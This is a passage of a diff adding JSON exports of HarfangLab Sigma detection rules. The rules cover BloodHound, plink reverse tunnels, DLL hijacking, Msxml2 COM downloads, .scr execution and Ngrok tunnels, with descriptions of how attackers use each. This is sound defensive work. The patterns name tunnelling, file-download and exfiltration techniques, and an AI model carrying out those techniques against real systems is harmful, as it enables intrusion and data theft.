+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b1a129c6-4b0d-427c-836e-56db8d8b4f7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605323Z",
+  "creation_date": "2026-03-23T11:45:34.605327Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605334Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BloodHoundAD/BloodHound",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/software/S0521/"
+  ],
+  "name": "t1018_bloodhound_execution.yml",
+  "content": "title: BloodHound Execution\nid: b1a129c6-4b0d-427c-836e-56db8d8b4f7e\ndescription: |\n    Detects BloodHound, an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.\n    Attackers can use BloodHound to find vulnerabilities in the configuration of an Active Directory environment allowing them to perform privilege escalation.\n    It is recommended to analyze the execution context of this process to establish whether this execution is legitimate for audit reasons or the consequence of an ongoing attack.\nreferences:\n    - https://github.com/BloodHoundAD/BloodHound\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/software/S0521/\ndate: 2023/11/30\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - attack.t1087.002\n    - attack.t1482\n    - attack.t1069.001\n    - attack.t1069.002\n    - attack.t1018\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.BloodHound\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        - OriginalFileName: 'BloodHound.exe'\n        - Product: 'BloodHound'\n        - Image|endswith: '\\BloodHound.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b1a129c6-4b0d-427c-836e-56db8d8b4f7e",
+  "rule_name": "BloodHound Execution",
+  "rule_description": "Detects BloodHound, an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.\nAttackers can use BloodHound to find vulnerabilities in the configuration of an Active Directory environment allowing them to perform privilege escalation.\nIt is recommended to analyze the execution context of this process to establish whether this execution is legitimate for audit reasons or the consequence of an ongoing attack.\n",
+  "rule_creation_date": "2023-11-30",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1069.001",
+    "attack.t1069.002",
+    "attack.t1087.001",
+    "attack.t1087.002",
+    "attack.t1482"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b1b34eb2-c730-495c-aef2-d59f6f12ed53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624516Z",
+  "creation_date": "2026-03-23T11:45:34.624518Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624523Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/",
+    "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1021/001/"
+  ],
+  "name": "t1021_001_suspicious_process_plink.yml",
+  "content": "title: Suspicious plink.exe Execution\nid: b1b34eb2-c730-495c-aef2-d59f6f12ed53\ndescription: |\n    Detects the suspicious execution of plink.exe to create a tunnel via the forward of a remote port to local address.\n    Attackers use this technique for lateral movement or bypass network restrictions.\n    It is recommended to analyze the parent process for suspicious activities and to determine if the executed binary is legitimate.\nreferences:\n    - https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/\n    - https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1021/001/\ndate: 2022/04/14\nmodified: 2025/12/05\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1572\n    - attack.lateral_movement\n    - attack.t1021.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Plink\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\plink.exe'\n        - OriginalFileName: 'Plink'\n    selection_commandline:\n        CommandLine|contains: ' -R '\n\n    exclusion_ansys:\n        ParentImage|endswith:\n            - '\\AnsysWBU.exe'\n            - '\\AnsysFWW.exe'\n        CommandLine|contains|all:\n            - 'plink.exe -batch -i'\n            - ' qsub -'\n            - ' -s /bin/sh -v -r y -n '\n\n    exclusion_command:\n        CommandLine|contains:\n            - ' chown -R '\n            - 'shutdown -r now'\n            - ' rm -r '\n            - ' grep -R '\n\n    exclusion_tihelp:\n        ProcessParentOriginalFileName: 'tishelp.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'TRANQUIL I.T. SYSTEMS'\n\n    exclusion_monnaie_services:\n        ProcessCommandLine|contains|all:\n            - ':127.0.0.1:80'\n            - '.monnaie-services.com > ?:\\EMSCine\\Prog\\pid\\tunnels\\rssh*.out 2>&1'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b1b34eb2-c730-495c-aef2-d59f6f12ed53",
+  "rule_name": "Suspicious plink.exe Execution",
+  "rule_description": "Detects the suspicious execution of plink.exe to create a tunnel via the forward of a remote port to local address.\nAttackers use this technique for lateral movement or bypass network restrictions.\nIt is recommended to analyze the parent process for suspicious activities and to determine if the executed binary is legitimate.\n",
+  "rule_creation_date": "2022-04-14",
+  "rule_modified_date": "2025-12-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b1e3ba61-78ff-46ac-b389-cf26f24dc4d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098564Z",
+  "creation_date": "2026-03-23T11:45:34.098566Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098570Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systempropertiesprotection.yml",
+  "content": "title: DLL Hijacking via systempropertiesprotection.exe\nid: b1e3ba61-78ff-46ac-b389-cf26f24dc4d1\ndescription: |\n    Detects potential Windows DLL Hijacking via systempropertiesprotection.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systempropertiesprotection.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b1e3ba61-78ff-46ac-b389-cf26f24dc4d1",
+  "rule_name": "DLL Hijacking via systempropertiesprotection.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systempropertiesprotection.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b2015219-0f93-4180-a062-fd0c7e57fa28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090262Z",
+  "creation_date": "2026-03-23T11:45:34.090264Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090269Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://csbygb.gitbook.io/pentips/post-exploitation/file-transfers",
+    "https://attack.mitre.org/techniques/T1048/003/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_msxml2_http_filetransfer_wmi.yml",
+  "content": "title: File Transfered via Msxml2 COM Object\nid: b2015219-0f93-4180-a062-fd0c7e57fa28\ndescription: |\n    Detects scripts using the Msxml2.XMLHTTP COM Object to download files.\n    Attackers may use this COM object to transfer files or tools to the local machine or to exfiltrate data via legitimate looking commands and network traffic.\n    It is recommended to check Outlook home page registry configuration for suspicious content such as command executed by the Outlook process with the help of the VBScript telemetry, it is recommended to investigate the downloaded files and any programs executed in the context of this alert.\nreferences:\n    - https://csbygb.gitbook.io/pentips/post-exploitation/file-transfers\n    - https://attack.mitre.org/techniques/T1048/003/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2025/10/06\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1105\n    - attack.exfiltration\n    - attack.t1048.003\n    - classification.Windows.Source.AmsiScan\n    - classification.Windows.Script.VBScript\n    - classification.Windows.Script.Jscript\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: amsi_scan\ndetection:\n    selection_vbscript:\n        AppName:\n            - 'VBScript'\n            - 'OFFICE_VBA'\n        TextPayload|contains|all:\n            - 'CreateObject(\"MSXML2.ServerXMLHTTP\")'\n            - '.Open '\n            - '.Send '\n\n    selection_jscript:\n        AppName: 'JScript'\n        TextPayload|contains|all:\n            - 'ActiveXObject(\"MSXML2.XMLHTTP\")'\n            - '.open('\n            - '.send('\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b2015219-0f93-4180-a062-fd0c7e57fa28",
+  "rule_name": "File Transfered via Msxml2 COM Object",
+  "rule_description": "Detects scripts using the Msxml2.XMLHTTP COM Object to download files.\nAttackers may use this COM object to transfer files or tools to the local machine or to exfiltrate data via legitimate looking commands and network traffic.\nIt is recommended to check Outlook home page registry configuration for suspicious content such as command executed by the Outlook process with the help of the VBScript telemetry, it is recommended to investigate the downloaded files and any programs executed in the context of this alert.\n",
+  "rule_creation_date": "2025-10-06",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1059.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b20eab34-dd0f-427c-8b8a-b77db11d2ff2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086104Z",
+  "creation_date": "2026-03-23T11:45:34.086106Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086110Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/the-epic-turla-operation/65545/",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_suspicious_execution_scr_file.yml",
+  "content": "title: Suspicious .scr File Execution\nid: b20eab34-dd0f-427c-8b8a-b77db11d2ff2\ndescription: |\n    Detects the execution of a suspicious .scr file, a Portable Executable (PE) file related to the Windows screensaver application.\n    Usually, this type of file is located in 'C:\\\\Windows\\\\System32\\\\' or 'C:\\\\Windows\\\\SysWOW64\\\\' and this program is executed after a configurable time of user inactivity.\n    Attackers can used this file to gain execution during a phishing campaign by masquerading a malicious file to increase the likelihood that a user will open and successfully execute it.\n    It is recommended to check the .scr file origin and the legitimacy of its presence on the system.\nreferences:\n    - https://securelist.com/the-epic-turla-operation/65545/\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2022/02/15\nmodified: 2026/01/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.persistence\n    - attack.t1546.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessProcessName|endswith: '.scr'\n\n    filter_directory:\n        CurrentDirectory:\n            - '?:\\Windows\\System32'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            - '?:\\Windows\\ImmersiveControlPanel\\'\n\n    filter_winlogon:\n        ParentImage:\n            - '?:\\Windows\\System32\\winlogon.exe'\n            - '?:\\Windows\\SysWOW64\\winlogon.exe'\n\n    filter_microsoft:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_rundll32:\n        CommandLine|startswith: 'rundll32.exe desk.cpl,InstallScreenSaver '\n\n    exclusion_boinc1:\n        Image: '?:\\Windows\\boinc.scr'\n        Signed: 'true'\n        Signature: 'University of California, Berkeley'\n    exclusion_boinc2:\n        ParentImage:\n            - '?:\\Program Files\\BOINC\\boincmgr.exe'\n            - '?:\\Program Files (x86)\\BOINC\\boincmgr.exe'\n\n    exclusion_kiosk:\n        Image: '?:\\Windows\\SysWOW64\\SKPlayer.scr'\n        ParentCommandLine|startswith: '?:\\Program Files (x86)\\SiteKiosk\\SiteKiosk.exe'\n\n    exclusion_flywin:\n        # Fenetres Volantes.scr\n        ProcessSha256: '129f41492be8351350bbd65569908d288b82760626c02696a3c8e5cc5231b805'\n\n    exclusion_earth:\n        Description: 'Earth Screen Saver for Windows'\n        OriginalFileName: 'EARTH.SCR'\n\n    exclusion_google:\n        Description: 'Google Photos Screensaver'\n        OriginalFileName: 'GPhotos.SCR'\n\n    exclusion_webshot:\n        Description: 'Webshots Photo Manager'\n        OriginalFileName: 'Webshots2.SCR'\n\n    exclusion_bubbles:\n        Description: 'Bubbles Screen Saver'\n        OriginalFileName: 'Bubbles'\n\n    exclusion_irfanview:\n        Description: 'Slideshow PlugIn for IrfanView'\n        OriginalFileName: 'Slideshow.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b20eab34-dd0f-427c-8b8a-b77db11d2ff2",
+  "rule_name": "Suspicious .scr File Execution",
+  "rule_description": "Detects the execution of a suspicious .scr file, a Portable Executable (PE) file related to the Windows screensaver application.\nUsually, this type of file is located in 'C:\\\\Windows\\\\System32\\\\' or 'C:\\\\Windows\\\\SysWOW64\\\\' and this program is executed after a configurable time of user inactivity.\nAttackers can used this file to gain execution during a phishing campaign by masquerading a malicious file to increase the likelihood that a user will open and successfully execute it.\nIt is recommended to check the .scr file origin and the legitimacy of its presence on the system.\n",
+  "rule_creation_date": "2022-02-15",
+  "rule_modified_date": "2026-01-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1546.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b3222cdc-4054-4f68-9306-a77d513f35a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296499Z",
+  "creation_date": "2026-03-23T11:45:35.296501Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296505Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/hakluke/status/1679023050526687244",
+    "https://twitter.com/malmoeb/status/1519710302820089857",
+    "https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/techniques/T1567/",
+    "https://attack.mitre.org/software/S0508/"
+  ],
+  "name": "t1090_ngrok_tunnel_dns_request.yml",
+  "content": "title: Ngrok Tunnel via an Uncommon Binary\nid: b3222cdc-4054-4f68-9306-a77d513f35a9\ndescription: |\n    This rule detects DNS requests to the official Ngrok tunnels domain via an uncommon binary.\n    Ngrok is a tool that allows users to expose their local servers to the internet, which enables attackers to tunnel malicious traffic through an otherwise secure network.\n    It isn't necessary to download the Ngrok binary to use an Ngrok tunnel, this can be done by creating a reverse SSH tunnel to the Ngrok servers.\n    If you believe this to be an indicator of malicious activity, you should take investigative actions.\n    It is recommended to identify the binary making the connection, the protocol used by the tunnel, the concerned users and what resources the attacker could have accessed through the tunnel.\nreferences:\n    - https://twitter.com/hakluke/status/1679023050526687244\n    - https://twitter.com/malmoeb/status/1519710302820089857\n    - https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/techniques/T1567/\n    - https://attack.mitre.org/software/S0508/\ndate: 2023/07/13\nmodified: 2026/02/19\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - attack.s0508\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Tool.Ngrok\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName|contains:\n            - 'tunnel.??.ngrok.com'\n            - 'tunnel.ngrok.com'\n            - '.ngrok-agent.com'\n\n    filter_ngrok:\n        - ProcessOriginalFileName: 'ngrok.exe'\n        - ProcessProduct: 'ngrok agent'\n\n    exclusion_misc_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiApSrv.exe'\n            - '?:\\Windows\\System32\\smartscreen.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_digicam:\n        # SHA256: 61af1afdef0d715eb78b651ce4ae5789c234ba72d0e38e7a89b7577bda15d453\n        ProcessImage: '?:\\Program Files (x86)\\digiCamControl\\ngrok.exe'\n        ProcessOriginalFileName: ''\n\n    exclusion_npm:\n        # SHA256: 60da82035702204c6219c08359c8944bbd254e6bdebc58443ad22e12019f3ab6\n        ProcessImage|contains: 'AppData\\Roaming\\npm\\node_modules\\@expo\\ngrok\\node_modules\\@expo\\ngrok-bin'\n        ProcessOriginalFileName: ''\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\NisSrv.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\MsSense.exe'\n            - '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n            - '?:\\Program Files\\Microsoft Security Client\\MsMpEng.exe'\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n        ProcessSignature :\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_nexthink:\n        ProcessImage: '?:\\Program Files\\Nexthink\\Collector\\Collector\\nxtsvc.exe'\n\n    exclusion_docker:\n        ProcessImage: '?:\\Program Files\\Docker\\Docker\\resources\\com.docker.backend.exe'\n\n    exclusion_wsl:\n        ProcessImage: '?:\\Program Files\\WSL\\wslservice.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b3222cdc-4054-4f68-9306-a77d513f35a9",
+  "rule_name": "Ngrok Tunnel via an Uncommon Binary",
+  "rule_description": "This rule detects DNS requests to the official Ngrok tunnels domain via an uncommon binary.\nNgrok is a tool that allows users to expose their local servers to the internet, which enables attackers to tunnel malicious traffic through an otherwise secure network.\nIt isn't necessary to download the Ngrok binary to use an Ngrok tunnel, this can be done by creating a reverse SSH tunnel to the Ngrok servers.\nIf you believe this to be an indicator of malicious activity, you should take investigative actions.\nIt is recommended to identify the binary making the connection, the protocol used by the tunnel, the concerned users and what resources the attacker could have accessed through the tunnel.\n",
+  "rule_creation_date": "2023-07-13",
+  "rule_modified_date": "2026-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b35627f7-4023-4179-ac3f-a23860a35cfc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
